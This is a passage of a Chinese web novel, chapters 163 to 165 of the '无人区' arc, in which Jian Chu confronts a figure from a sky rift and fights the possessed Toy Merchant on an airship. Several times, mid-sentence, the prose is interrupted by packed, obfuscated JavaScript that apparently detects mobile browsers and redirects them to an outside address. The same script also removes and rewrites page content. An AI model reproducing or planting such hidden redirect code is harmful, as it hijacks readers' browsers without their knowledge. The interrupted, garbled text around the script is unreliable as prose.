暗青色的天空中，巨大的裂缝不断渗出黑雾，它们在空中有节奏地蔓延，最终结成两个黑色囚笼——在他们眼里也许是囚笼，但在那壮汉眼中却并不是。 那是甜美的苹果，是黎明的曙光，是在危机时刻及时伸来的救命稻草。 这是他的第二次浸染，一旦成功，他将和玩具商、砒霜这些人平起平坐，不用担心被人暗下毒手，更不用畏惧死亡。 他的异能本来就是防御，他将会无坚不摧，这世界上没有任何东西能够伤害到他。 “浸染……”马瑞安喃喃自语。 这样的场面他并不是第一次见到，但如此震撼人心的却是第一次。 现在看来，以前的集会都只是小打小闹，到如今他才知道，之前每次见到的黑雾囚笼究竟是来自于何处。 瞬息时间，壮汉如同乳燕回巢般扑进囚笼，而那些黑雾也对他表示热烈欢迎，迅速将其笼罩到自己怀中。 下一秒，囚笼迅速展开，成为一个黑色的立方体，没有人能看见里面正在发生什么。 浸染一旦开始，便无法中止。 可与此同时，另一个囚笼却无人问津，因为本该接受它的人已经死了，它高悬于天上，似乎在等待有谁能将目光投向它。 “已经没人了！”砒霜咬牙。 她万万没想到自己此前的决定竟会在此时带来如此麻烦，如果早早把这群人处理掉……不！ 被黑色触手环绕着的身影深深映在砒霜眼底。 事到如今，她终于意识到这一切并不是因为自己的决策失误，而是……这个人的存在，会让所有收束到现在的节点上。 不管之前他们做出如何的选择，正确抑或是错误，只要这个人登上飞艇，一切都会变成如今这副模样。 现在的办法唯有…… 砒霜的目光投向那座空置的囚笼。 “你冷静一点。”玩具商顺着她的眼神看过去，瞳孔紧缩，“我们已经接受过两次浸染，不能再做第三次了，承受不住的！” “我知道，难道我看上去像个蠢货吗？！”砒霜吼他。 玩具商皱起眉毛：“蠢不蠢不知道，但是我看你不太清醒。” 看到这副惨样，能清醒的都是神人了。 “你控制的那个人呢，幽灵？让他去。”砒霜冷然开口，让玩具商一时没有反应过来。 “你疯了，谁知道他接受完浸染会不会洗掉我打的控制坐标，要是他失控怎么办？！”玩具商咬牙切齿，“这种时候想点有用的行不行！” “我没开玩笑，不能把机会浪费……现在这里只有这些人了，他不去，难道你要看着异能署的人去吗？”砒霜气笑了。 玩具商相当不理解：“为什么，浪费就浪费好了，异能署的人不可能会进去的，在他们眼里那玩意就是个危险品，恨不得马上远离才好。” 不得不说，玩具商确实很清楚自身定位，天选会干的这些事，就差在脸上写了反派二字，异能署是不可能主动去接受浸染的。 “你别忘了还有那个……” 砒霜的声音突然消失了，她喉咙里发出干涩的响声，但眼神却直直看向头顶的天空，仿佛被什么掐住。 “什么……” 还没来得及抬头，玩具商就感受到头顶落下一片巨大的阴影，有什么正在从他们上方经过，被周围暗青色的光映照出影子。 “简初……”好不容易跟出来的隋辩眼神已经失焦了。 粗壮的黑色触手完全像是蜘蛛的足肢，将中央的人捧到那座囚笼面前。 “别靠近那里！”顾杰羽大喊出声，尽管她早已离开异能署，但却算得上是最早了解浸染的人。再退一万步说，哪怕完全不了解，看见这不祥的黑雾也会主动远离。 这是刻在基因内趋利避害的本能。 可她的呼喊只得到了对方轻飘飘的注视。 明明距离很远，远到顾杰羽几乎无法看清简初的面孔，但那双青绿色的眼睛却如同鬼火烙印在她眼底。 她甚至无法分辨简初究竟有没有失去理智，因为那双眼睛太冷静了，冷静到让人无法读懂其中的含义。 这到底是……怎么回事？ 简初收回了视线。 她并没有“意识到”那是顾杰羽，或者说，现在所有人在她眼中都是一大团扭曲的马赛克。 不，说是马赛克还太过和谐，相比之下，其实更像是腐烂的肉块。 这是谁看到的世界？ 她抬眼，重新看向面前这个格格不入的、花团锦簇的金色鸟笼。它在这无边地狱般的场景下显得尤为可爱，甚至凑近了可以闻到上面清浅的花香，沁人心脾。 它就像是盛开于腐肉之上的花朵，吸引每一个过路的人摘下它。 于是简初朝它伸出了手。 “喂！喂！！简初你醒醒！”隋辩气急败坏，一瘸一拐冲到马瑞安身边，“想想办法啊，她要是真进去就完了。” 不仅她完了，在座的所有人可能全要完蛋。 “看见没！想想办法，真让她接受了浸染，你我今日都要死无葬身之地。”砒霜的牙几乎要咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869690|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出鲜血来，“舍不得你那个小玩具，现在呢，你自己去？！” 玩具商哪里听不出砒霜更多是在泄愤，但事态的发展并不受他们约束，甚至他还从中嗅到了一丝诡谲的阴谋气息。 “我……”他压着嗓子，内心充满了不确定，“现在让幽灵去？” 明明是两个截然相对的阵营，思维却在此刻达到空前的一致—— 绝对不能让简初碰到那东西。 唯有角落的幽灵，他正茫然站在原地，抬起头看着这一切。他此刻莫名宁静，仿佛灵魂都得到了解脱。 脑中的坐标好像消失了，他感受到前所未有的清灵，思想好像可以乘风而起，去到更高的地方。 去到……她的身边。 “没用……他好像已经不受我控制了。”玩具商心下越来越恐慌，仿佛有什么大事要发生，他谨慎地后退半步，舔了舔干涩的嘴唇。 砒霜已经不在意他说什么了，她的眼神紧紧锁在简初伸出的手掌上，等待着最后的结果。 是被撕碎，还是被滋养…… 可那人的动作突然停住了。 “简初她……碰到了吗？”隋辩根本看不清，也许只是差一点，又也许已经碰到了，但不管怎样，他希望知道最后的结果。 “看不清……但一直没有动静的话，应该……没事吗？”马瑞安不确定地看向顾杰羽，想从她嘴里得到肯定的答复。 可顾杰羽的表情依旧凝重。 高天之上，简初仔细端详着精致的“鸟笼”。 “美丽的诱饵。”她低声呢喃，“你要我来，就是想把我锁进去吗？” 没有声音回应她，但在她眼里鸟笼上的鲜花无风而动，散发出惑人的香气。 [来吧，进来吧，这是你的归宿。] [我们已经寻觅了太久，你终于可以回到……的怀抱。] [你将与我同在。] 蛊惑的迷音最终凝结成一句话，不断在简初耳边回响。 “谁……将与谁同在？” [我将与你同在。] 那声音变得更加甜美，每一个音节都充满糖浆般的粘稠，以及让人晕眩的香甜。 简初终于仰起了头。 下一秒，她两米之外的黑色囚笼应声而碎。它碎得很彻底，变成一滩黑色的淤泥，混合着腥臭的血液，从高空坠落到甲板上。 “噗叽”一声，高高溅起，又重重落下，形成一个完美的图案。 “天赋技能【神之手】已升格。” “【针对性防御】升级为【攻守之势】” “攻守之势：一分钟之内，你可以阻挡来自正面的所有异能攻击，并将其随机反射，但需要注意的是你的背面，以及你的时间。” 系统的声音从未如此频繁地响起，可简初并不在意。 头顶的裂缝中传来规律的脚步声，似乎有人正闲庭信步，慢悠悠从中而来。 “这是……什么情况？”砒霜后退半步，但连她都不知道的话，还能指望这里谁来解答呢？ [我终于看到你了。] 简初仰起头，注视着从裂缝中走出来的人影，对方通体被黑雾形成的斗篷裹得严严实实，完全看不出身形。 “祂看到你了，我的……伙伴。” 163. 无人区（65） 简初顺着声音的来处怔怔抬头，两双青绿色的眼眸就这么撞在了一起。 “回到我们身边来。” 她的大脑里如同摆满了音响，层层叠叠的声音从四面八方传来，把人震得迷迷糊糊，但似乎除了她，其他人并不能听见这道声音。 黑雾如同蛛网般从那人背后伸出，慢慢凑过来，直到与触手们纠缠在一起。它们互相磨蹭，又互相警惕，似乎正在试探这些熟悉的气息究竟是敌是友。 “这是在做什么？” 甲板上的人不约而同仰起头，紧盯着裂缝中走出的人影，只可惜他们什么也听不见，只能看着一切如默剧一般演绎。 “那是……那位大人？”砒霜头皮一紧，连忙抓住玩具商的手臂，“这究竟是什么情况，你有没有头绪？” “我……我也不知道。” 两人的窃窃私语没有逃过顾杰羽的眼睛，但他们有意收着声音，她只能看见他们的表情。 他们应该知道些什么。顾杰羽眯眯眼，拉住马瑞安的衣袖，用眼神示意。 从前的合作默契在此时发挥了作用，耀眼的银光瞬间炸起，飞艇上空浮现一个巨大的手掌虚影，随着马瑞安伸出手臂，虚影带着无法阻挡的气势压向了砒霜和玩具商。 那两人狼狈后退，还是被卷起的罡风扇倒在地。 “幽灵！”玩具商慌张大喊，但年轻人只是看了他一眼，没有任何回应。 “该死的。”玩具商挣扎着想要爬起来，可他的左腿正被虚影死死压住，根本无法挣脱。 “你们知道什么？”马瑞安脸色苍白，完全是一副异能被透支的模样，“全部都说出来。” 天上的人没有分出一丝一毫的注意，仿佛整个空间已经被分割成两块，任由他们做出什么事情，都不会影响到彼此。 “你……我们能知道什么！”玩具商咬牙切齿，他用脚想就知道是刚刚自己与砒霜的交谈被看见，可实际上他们自己心里也没底。 马瑞安冷笑一声，单手下压，甲板上的虚影再次往下深入了几分。 “啊啊啊啊！”玩具商痛到浑身颤抖，他左右搜寻，却已经找不到砒霜那女人的身影了，“该……该死的。” “呵。” 天空中突然传来一道模糊的笑声。 “我还在这呢。” 一道黑雾迅捷如电，眨眼间扑到马瑞安的面前，他心中警铃大作，忙拉着顾杰羽离开原地，可那道黑雾仿佛有眼睛一般，利落地在那位置一转，又朝他们飞了过来。 “小心！” 他一把推开顾杰羽，两人一左一右滚倒，狼狈躲开了那道不祥的黑雾，可就在他们以为它还要来追击时，那黑雾却好像只是逗弄了他们一番，在空中盘旋几圈，在所有人的注视下钻进了玩具商的身体。 什……什么？！ “啊！！！” 玩具商惨叫出声，整个人都开始不受控制地抽搐，甚至两眼翻白，流出涎水。 “这是……怎么了？”隋辩后退半步，可没有人回应他的问题，紧接着不远处的幽灵发出痛呼，整个人跪倒在地，用力捂住脑袋。 “呃……” 疼，前所未有的疼，被玩具商种下的坐标在此刻重新生效，紧紧攥住了他的大脑，但实际上他并没有得到任何指示，仿佛这只是对他方才的小动作而做的惩罚。 而在天空之上，简初已经来到那人的面前。 对方整张脸都被黑雾包裹，只有那一双青绿色的眼睛闪闪发亮，他们互相注视着，好像仅仅这样就可以实现交流。 “你是谁？”简初问。 对方没有回答，但黑色触手却在他的脸颊上亲昵地蹭了蹭，似乎与这个人很是熟悉——又或者是与这样的气息很熟悉。 简初伸手挥开同样凑近的黑色雾气，拧紧眉头。 “你还没有感觉到吗？”那人伸出手，摸了摸乖巧的触手，“我们是一样的。” 他好像在期待着什么，但简初的反应让他感到疑惑。 “不对，你没有想起来？”他又凑近了几分，看进那双和自己一模一样的青色眼睛里，“为什么呢，明明能量已经足够了。” 简初：“能量？” “是啊，来自祂的能量。”那人随手指了指还在甲板上挣扎的玩具商，以及早已碎成一滩血肉的壮汉，“他们身上都有，现在你也有了。” 脑中似乎有一道闪电划过，简初突然明白了他的意思。 “浸染？” “嗯哼。” 果然，她早该发现不对劲了。 当时她从吴起手中得到的异能，明显和吴起用起来的效果有区别，现在想来，她得到的应该是吴起原本的异能，也就是尚未接受过‘浸染’提升前的异能。 这壮汉的防御异能，从其他角度看不出什么，但显然对方使用时并没有时间限制，所以……可以断定她得到的也是初始异能。 那问题来了，剩下那部分，来自于‘浸染’的力量，去了哪里。 简初平静地看着黑黢黢的触手们，它们光滑油亮，反射着周围暗绿色的幽光，一个个看上去都被滋养得很好。 “祂的力量慢慢点亮了你，所以我们才能找到你。”对面的人声音里带着明显的笑意，“回到我们中间来，这里才是你原本的位置，你在这个世间的一切都是祂赐予你的，简初。” 安静在两人之间蔓延，就在那人以为简初就要点头时，却听见一声意外的轻笑。 不包含任何情绪，只是一声轻笑，却显得尤其嘲讽。 “一切都是祂赐予的？是不是太搞笑了。” 周遭的气氛明显冷了下来，那人沉默许久，叹了口气，缓慢抬起了右手：“看来你的大脑还不够清醒，我得帮帮你。” 一瞬间，仿佛天地开阖，无数气团从那巨大的裂缝中涌出，带着来自于未知强大生物的威压，如同严冬的烈风呼啸而出。 不仅仅是气团，空气中甚至不断摩擦爆出炽烈的耀斑，呼吸瞬间被剥夺，迎面而来的气流像刮骨刀一样，直接将简初连同着触手狠狠拍在甲板之上。 杂物几乎化为齑粉，甚至连甲板中央都出现一个巨大的坑洞，冒出丝丝缕缕的白烟。 坑里静默无声。 那人依旧悬浮在天空中，巨大的裂缝缓缓靠近，一点点将他重新吞了回去。 “长长记性吧，我的伙伴，希望下次见面时，能见到一个完全清醒的你。” 他的身影终于彻底消失在裂缝中。 “咳咳！这…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882245|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是……咳咳！”隋辩努力挥开面前的粉尘。 被碾成粉末的桌椅酒具飞散在空中，遮住了所有人的视线，同样让人喘不上气。 顾杰羽眉眼凝重地收回看向天空的视线：“那人走了，简初呢？” 周围的烟尘开始散去，她模模糊糊看到有一个身影安静地站在其中，没有任何动作，显得有些诡异。 “是简初吗？咳咳！”隋辩下意识往前走了两步，又被灰尘呛到不行。 正当他想要冲过去看看，旁边却伸出一条胳膊拦住了他的去路。 “等等，那好像不是简初。”马瑞安从肺中深深呼出一口气，“那是……” 话音未落，本就沉重的灰尘终于散开，露出其中的身影。 玩具商背对着他们，看上去与之前并没有区别，只是头发和肩上落满了白灰。 马瑞安并没有忘记之前钻进对方身体里的黑雾，他谨慎地转动眼珠，试图找寻砒霜和幽灵的身影，但一无所获。 “小心点。”他小声提醒身后的顾杰羽，缓慢而又谨慎向前一步，试图靠近。 “砰！” 下一秒玩具商猛然跃起，瞬间消失在原地，一道巨响将整个飞艇震得抖三抖。马瑞安慌忙冲上前，才看到甲板上有一个巨大的深坑，它几乎穿透了整个飞艇，站在边缘甚至可以看到一丝丝绿光。 “人呢？”他眯着眼，试图从阴影中找寻到玩具商的身影，但抢先出现的却是数根蜿蜒的触手。 它们顺着坑洞缓缓往上，最终紧紧攀住了边缘。 简初从阴影中露出了面容。 有了光的反射，那双青绿色的眼眸似乎在莹莹发亮，触手们带着她不断往上，才露出攀附在她身上的玩具商。 他手中雪亮的玻璃碎片闪着寒光，尖锐的顶端深深没入简初的胸口，鲜红的鲜血顺着伤口溢出，将两人的衬衫染成刺眼的红色。 “呃……”马瑞安瞳孔紧缩，喉头动了动却只能发出没有意义的气音。 玩具商手中的利刃又深入了一寸，黑色触手明显开始躁动不安，但简初却连眉头都没有皱一下。 心脏跳动开始变得缓慢，直到和冥冥之中的某种频率达成同步。 她伸出手，随着目光一同落在玩具商的后颈摩挲了两下，看上去竟带了几分亲昵的安抚意味。 然后她猛然收紧了五指。 玩具商被巨力捏住脖颈，霎时间所有喉骨几乎同时碎裂，简初手臂一甩，他便像个破烂的玩偶一样从坑底飞出，轰然砸在甲板上，滚动几圈，停在了跪地的幽灵脚边。 马瑞安顺着看过去，大脑不受控制地停转，但下一秒，地上本应死去的玩具商抽动了两下，再次站了起来。 他甚至没有依靠手脚，就这么扭曲着从地上站了起来，转过身，露出一张弥漫着黑雾的脸庞。 “发生了……” “别过来！”马瑞安低吼出声，阻止了隋辩想要走过来的动作。 “别过来。” 他喃喃重复了一遍，眼神追随了玩具商再次来到坑边，而此时的简初已经被触手们带出坑洞，悬浮在半空中。 她的胸口仍然流淌出鲜血，那明显是心脏的要害，可她……却还活着。 疯了。马瑞安想。 164. 无人区（66） 空气中有什么在积蓄，剑拔弩张到沉重，压在所有人的肩上，让人感到窒息。 “咳！”顾杰羽猛地喘了口气，整个人如同溺水一般无法呼吸。乱飞的思绪将她带回到光怪陆离的回忆中，无数碎片从她眼前飞掠而过，最终剩下一片空茫。 没想到哪怕已经离开异能署，她还会再次体验到这样的濒死感，一切因缘际会，又将她带到她自以为早已忘记的过往。 “隋辩，带她离远一些。”马瑞安紧紧凝视着不远处，玩具商手中的剑直指简初，脚边倒着的幽灵胸口还微微起伏，看来性命无虞。 “可是你……”没什么时间给隋辩犹豫，他看向一旁汗出得好像从水里捞出来的顾杰羽，咬咬牙，“怎么会这样？” 他架着顾杰羽撤退到宴会厅附近，周围尚未倒塌的建筑圈出一个看似安全的区域，看着顾杰羽喘息的频率变慢，他才稍稍放下心，警觉地盯着周围的动静。 他微微仰起头，从天花板的裂缝中看见空中的简初，内心涌上无边的荒谬与担忧。 “可别……” 没有人听见他的自言自语。 玩具商举剑的手稳得可怕，他行动间充满了僵硬的不和谐感，但又诡异地顺滑，好像他的肌肉已经完全按照一套新的逻辑来运转。 简初微微抬起眼皮，身侧瞬间出现数根黑色触手，它们在空中微微停滞，下一秒带着凌厉的气势刺了出去。 “铛铛铛！” 金属碰撞的刺耳声骤然响起，玩具商以常人难以企及的速度和角度挡住了所有攻击，黑雾长剑甩出了残影，而触手们更是在空中反复兜着圈子，不断从各个角度试探。 “唰——” 玩具商甩飞试图捆绑剑身的触手，脚下几乎没有蓄力动作，却猛然一跃而起，他在空中俯视面前的简初，瞬间反手挥剑，明明是以刺见长的长剑，却被用出了砍刀的气势。 空气中炸出一串亮眼的青光，仿佛是那黑雾长剑的拖尾，落在简初的头顶。 但它卡住了。 简初抬起眼皮，眼中的青色光芒突然炸亮，近在眼前的剑身开始不住颤抖，却无法下压分好，她微微转动眼珠看向一侧，玩具商整个人便随之而去，如同坠落的流星砸进甲板上的坑洞。 “嘶——”马瑞安倒吸一口凉气，尽管他已经躲好，却还是下意识后退半步，不巧踢到身后本就摇摇欲坠的栏杆。 巨大的声响响彻甲板，马瑞安头皮发麻，他慢慢抬起头，对上那双青绿色的双眼。 他默默祈祷，希望这人还认得他。 简初现在其实很清醒。 大脑中似乎多了些什么，她此时明明能感受到自己身体的存在，却又似乎无法完全控制自我，她的灵魂被囚禁在这具身体之中，微妙地“旁观”着一切。 她的思维没有波动，完全以绝对的理性控制着自己，这个该杀，那个不可以，仅仅是这样，就让她感觉到疲惫。 简初将视线从马瑞安身上挪开，再次看向坑底的玩具商。 刚刚那一下扩大了飞艇底部的裂缝，可飞艇仍然被某种神秘的力量托举着，安静地漂浮，青色的暗光从简初低垂的眼皮下流泻而出，让小触手身上也多出一丝不祥的色彩。 黑色的流星从坑底飞出，“砰砰砰”的碰撞声不绝于耳，简初几乎没有移动，只有飞舞的小触手和玩具商——准确地说是他手里的那把长剑不断交战。 战况陷入僵持。 “这到底是什么？”马瑞安看着再一次站起来的玩具商，内心十分震惊。 已经数不清是第几次了，甚至已经被那群触手折断手脚，玩具商都能提着那把剑从地上爬起来，用异于常人的速度继续战斗。 马瑞安和无数被玩具商控制的异能者交过手，他很确定玩具商本人并没有这样的战斗力，哪怕抛开这诡异的“复生”速度，他用剑的招式也很不对劲。 “别折腾了，这样没有意义。”简初淡淡开口，伸出了一只手。 数十根粗壮的触手拔地而起，它们蜂拥而至，将玩具商的身影笼住，形成一个巨大的黑茧。 “你伤不到我。”她的声音回荡在整个甲板之上，但却没有得到回答。 触手们相互摩擦，层层叠叠地蠕动着，将那黑茧又压紧了几分，让暗处的人看得无比心惊。 “这得碎成渣了吧……”砒霜喃喃自语。 她此刻正缩在宴会厅的角落，透过断垣残壁往外瞧。起初她看到玩具商大发神威，还想着或许可以合作解决这个大危机，但很快事情的发展就超脱了她的想象。 玩具商死了吗？她也不确定了，他不停地站起来，用从未见过的招式和那个可怕的怪女人打架，但…… 砒霜下意识看向甲板上躺着的幽灵，咬了咬唇。 如果还能控制幽灵，那玩具商肯定没死……所以现在，她究竟该怎么办？ 那位大人到底想做什么？ 和她同样焦虑的还有马瑞安，他此时正躲在距离坑洞最近的位置，简直就是一线战地记者，甚至有时会有一两条触手与他擦肩而过。 他很确定那些触手必然发现了自己，但大概是因为简初，它们并没有对他发起攻击。 所以他可以认为，简初现在是清醒的吗？ 马瑞安皱眉探出头看了一眼，又有些不确定了。 “我是伤不到你，但是……”许久之后，黑茧之中传出了人声，尽管隔着层层叠叠的触手，让声音有些许失真，但马瑞安还是听出来，这就是玩具商的声音。 “还有他。” “呃！唔！” 与他声音一同响起的是一声痛苦，马瑞安皱着眉头循声看去，就见到刚刚就已经昏迷的幽灵重新清醒过来，他趴伏在地面，后背高高拱起，紧抓地面的手背爆出青筋，而另一只手则是紧紧捂住嘴，似乎想要阻止自己口中发出声音。 电光石火之间，马瑞安突然明白了之前幽灵为什么会给他们放水。 他和简初认识？！ 是从什么时候？他袭击简初的那夜之前，还是那夜之后，他们俩到底是什么关系？！ 无数的问题袭击了马瑞安的大脑，让他整个人有些晕乎。 幽灵的嗓子里不断发出低沉的哽咽，他不光是用手捂着，甚至紧紧咬着嘴唇，嘴里很快就充斥着血腥味，可大脑中的疼痛并没有因此减轻一点，甚至比以往的每一次都要疼痛数倍。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909854|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但他不可以发出声音，会给她带来困扰的。 “哟，这么能忍？”玩具商的声音带了几分调笑，“真是想不到，你到底对他做了什么，让他这么死心塌地，明明我的异能都做不到这种程度。” 他话音落下，幽灵的嘴边还是倾泻了一丝痛呼，甚至只是气音，却能让每个听到的人感受到其中的痛苦。 简初垂下眼帘：“下三滥的手段。” “有用就行了。” 这发言太经典了，瞬间让角落的砒霜确定玩具商没死，那位大人给出的力量让他变得如此强大，真是……叫人羡慕，她此刻竟有些后悔，当时被马瑞安抓到的人为什么不是她。 层叠的黑色触手如潮水般退却，露出其中几乎软烂成泥的人，他的皮肤完好，但身体里的骨头几乎全部被绞碎，可怕的是这样的情况下他竟然还能如此清醒、冷静地对话。 简初看着被触手们托举到面前的人，只是微微抬手，那道黑雾长剑就飞进了她手中，不过这玩意明显不愿意听她的话，在掌心抖了半天，将她手心烫出大片的水泡，又扬长而去，回到了玩具商手里。 简初笑笑：“有点意思，你们究竟想做什么？” “那位大人给我的力量，你也想染指？”玩具商只是狂笑，他脸上的骨头已经撑不住脸皮，整个人几乎是一个软烂的橡皮怪。 他用那双几乎被眼皮遮住的瞳孔注视着简初：“你真的一点都不在乎他，真冷血，那我继续了？” 下一秒，幽灵的手就开始不受控制，他颤抖着试图阻止，却还是只能眼睁睁看着自己将双手放在了腿上。 “我……我没事。” 他喃喃自语，不知道是说给谁听的，还是单纯为了安慰自己，却惹得玩具商狂笑。 “真感人啊，现在、折断自己的腿。” 简初的瞳孔骤然缩紧，几乎就在玩具商话音落地的同时，一根粗壮的黑色触手就贯穿了他的胸口，粘稠的内里流淌出来，却依旧不能让对方感受到痛苦。 “啊……呃！” 幽灵低头咬住自己的衣领，将钻心之痛锁在自己口中，却不能阻挡一切发生。 “哈哈哈哈，你果然在意他！我找到你的弱点了！”玩具商的胸口破了个大洞，但他没有丝毫痛色，反而哈哈大笑，“幽灵！现在折断……” 一只手钳上了他的下颚，微微一抬，玩具商的下巴不翼而飞。 “聒噪的东西。”简初收回手，触手们鱼贯而出，将幽灵捆住，以防他再次伤害自己，但他脑中的痛苦却就此卷土重来，双重的折磨让他再也无法克制，发出令人绝望的、虚弱的痛叫。 “死吧。”简初微微拧起眉头，眼中的鬼火终于烧到了玩具商身上。 霎时间，青色的耀光强烈到了极点，将周围的一切变成黑白色，没有人能再这样的光照下睁开眼。 玩具商的身体迅速消融，但他到如今都没有感知到痛苦，否则她绝对不会这么简单杀了他。 可就在这时，那柄刚从玩具商手中脱离的长剑却化作一缕黑雾，如同游蛇一般缠上简初的胳膊，顺着此前心口的伤钻了进去。 “唔！” 该死，竟然等在这儿！ 165. 无人区（67） “噔噔噔！” “天赋技能【神之手】升级成功，能力【人偶师】修补完成。” “人偶师：精美的人偶在你手下翩翩起舞，但制作并控制他们并不是一件容易的事。警告：此技能危险程度较高，请谨慎使用。” “猎杀目标，代号玩具商，已确认死亡，现发布奖励信息。” “你获得了‘神明’的注视，祂于万千人潮中寻觅你的踪迹，试图‘赐予’你‘眷属’之名，但你此刻确信，你并不想接受祂的‘赐福’。所幸祂尚未完全捕捉到你的踪迹，你还有机会。” “你拥有本次猎杀任务的全部奖励信息，三十秒内不进行确认，将自动为你解锁更高权限信息。” 这种时刻，系统仍在兢兢业业地工作，它的声音振聋发聩，让简初获得了片刻喘息的时间。 “你获得了一条极危权限数据。” “你终于窥见真相的一角，但这只是开始，从此刻起，祂将注视着此间的一切，直到达成自己的目的。” “重要！请竭尽全力，避免自己成为祂的‘眷属’！” “任务更新。” “任务目标：全力阻止集会的顺利进行（已失败）更新为谋杀神使（新）。” “此任务极度危险，请做好万全准备。” 系统声音消失的下一瞬，一股强横的能量猛然在简初体内爆发，进入她身体的黑雾开始发力，把简初的自我意识压制到角落，阴暗的思想开始不受控制地蔓延，出现在大脑的每个角落。 [回到祂的身边，你应是祂最忠实的信徒。] 无数暗语最终汇聚成一句话，让简初瞬间明晰了那人的目的。 那黑雾对玩具商的强化只是手段，真正的目的是趁她没有防备之时，借此“清洗”她的大脑，达成那人口中所谓的“清醒”。 “呃，从我脑子里滚出去……” 不知道是因为空间不稳定，还是因为触手们开始暴动，飞艇出现了剧烈的震荡，马瑞安艰难地攀附着手边尚未完全断裂的栏杆，努力稳住自己的身形，但那边的幽灵几乎已经奄奄一息，再加上周围全部都是松散的物件，没有办法帮助他保持稳定，只能半睁着眼，眼睁睁看着自己顺着倾斜的甲板往坑洞中滑去。 腿上的伤口不断淌出鲜血，在甲板上划出一道斑驳的拖痕，他的手指挣扎着扣紧，但附近的地板光滑的很，没有一点凸起，不过凭他现在的力气，就算有什么可以抓握的东西，怕也没办法发挥作用了。 马瑞安咬咬牙，最终还是没有去帮他，不论如何，当下的困境和身份，都不允许他抛下一切去救他。 说到底，幽灵也是天选会的人。 “你没事吗！”隋辩拖着顾杰羽，另一只手紧紧抓住身边快要碎裂的墙壁，余光却瞥见一个身影从角落中被摔了出来，正是之前消失无踪的砒霜，但现下，双方都没有多余的精力朝对方出手。 “现在好多了。”顾杰羽白着脸，伸出手用力攀着身边突出的栏杆，来减轻隋辩的负担，“这地方可能要塌了……” “什么？”隋辩还没来得及理解他话中的含义，下一秒就感受到身下的飞艇一阵剧烈颠簸，它无情地将所有人弹到空中，又突然整个撞上来，如此往复好几次，才终于有平稳的迹象。 “我的屁股……要碎了。”尾椎骨传来骨裂般的疼痛，让他脸色发白。 究竟是飞艇要塌了，还是……这个空间要塌了？ 天空中巨大的裂缝又出现了变化，它的边缘冒出了马赛克状的锯齿，黑暗的深洞侵吞着周围的天空，直到它几乎占据了三分之一的天空，隋辩大脑一片空白，甚至来不及腾出手揉揉屁股，就看见一个巨大的影子从黑洞中探了出来，缓慢但极具压迫力地向他们所在的方向伸来。 虬结的黑雾构成它的每一个部分，甚至连“血肉”中的脉络都模拟了出来，他微微仰起头，下意识收紧了攥住顾杰羽的手指。 那只手从他们头顶越过，将后方的砒霜提了出来。 此刻的简初正垂着眼皮，面无表情地看着触手们小心翼翼地将差点砸穿飞艇的幽灵捞起来，单从她的脸色看，好像这群触手们的行为与她并不相关。 小触手们七手八脚地将早已陷入昏迷的人安置在一个狭窄的角落——足够狭窄，才不会随意滑动。 脑海中的嗡鸣声越来越响，自我的意识在不断沉浮，简初视线里的一切都沾染上不妙的绿光，好像在眼前罩了一层滤波片，让每个鲜活的生命体变得尤为明显，清晰的边缘正在引诱她将触手刺进每一个活人的心脏。 “呼——” 嘴边呼出滚烫的热气，简初撩起沉重的眼皮，看着那团黑雾化作的巨手将一个女人提到了自己面前，然后在她眼皮子底下，“哧溜”从砒霜的鼻腔、嘴唇、耳朵钻了进去。 黑色的脉络以女人的五官为中心，不断向外攀延，将嘴唇和眼珠都染作沉重的黑色。 “哈！呵呵！” 笑声从她的胸腔向上，带着丝丝缕缕的黑雾于口中逸散。 “这种感觉，真的太舒畅了。” 简初默默凝视着她，看着她露出肆意的笑容，看着她舒展四肢，看着她身上……开出黑色的花朵。 层层叠叠的花朵黑雾缭绕，以极快的速度蔓延了砒霜的全身，直到看不见一点衣物的布料，黑色的藤蔓填补了花朵之间的缝隙，紧密包裹了砒霜的身躯。 她伸手摸了摸脸庞盛开的，几乎遮住半张脸的花朵，没有感到一丝恐惧，她内心的渴望得到了极大的满足，强盛的力量充盈着每一块躯体、每一寸皮肤，呼吸间体会到的都是甜蜜的香气。 两人目光相接，流露出淡淡的杀机，但此时的简初却陷入无解的两难。 对方的杀意几乎毫无掩藏，她获取了如此的力量，必定会对自己出手，甚至不死不休，可一旦自己杀死了对方，如果那黑雾会像刚刚杀死玩具商那样，借着吞噬对方异能的机会，侵入自己的身体，那……自己到时候还能保持清醒吗？ 连系统都告诉自己，要竭尽全力避免成为“祂”的眷属，甚至以“极危数据”的等级发布了这条信息，那么这背后一定隐藏着巨大的危机。 她到底该怎么做？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 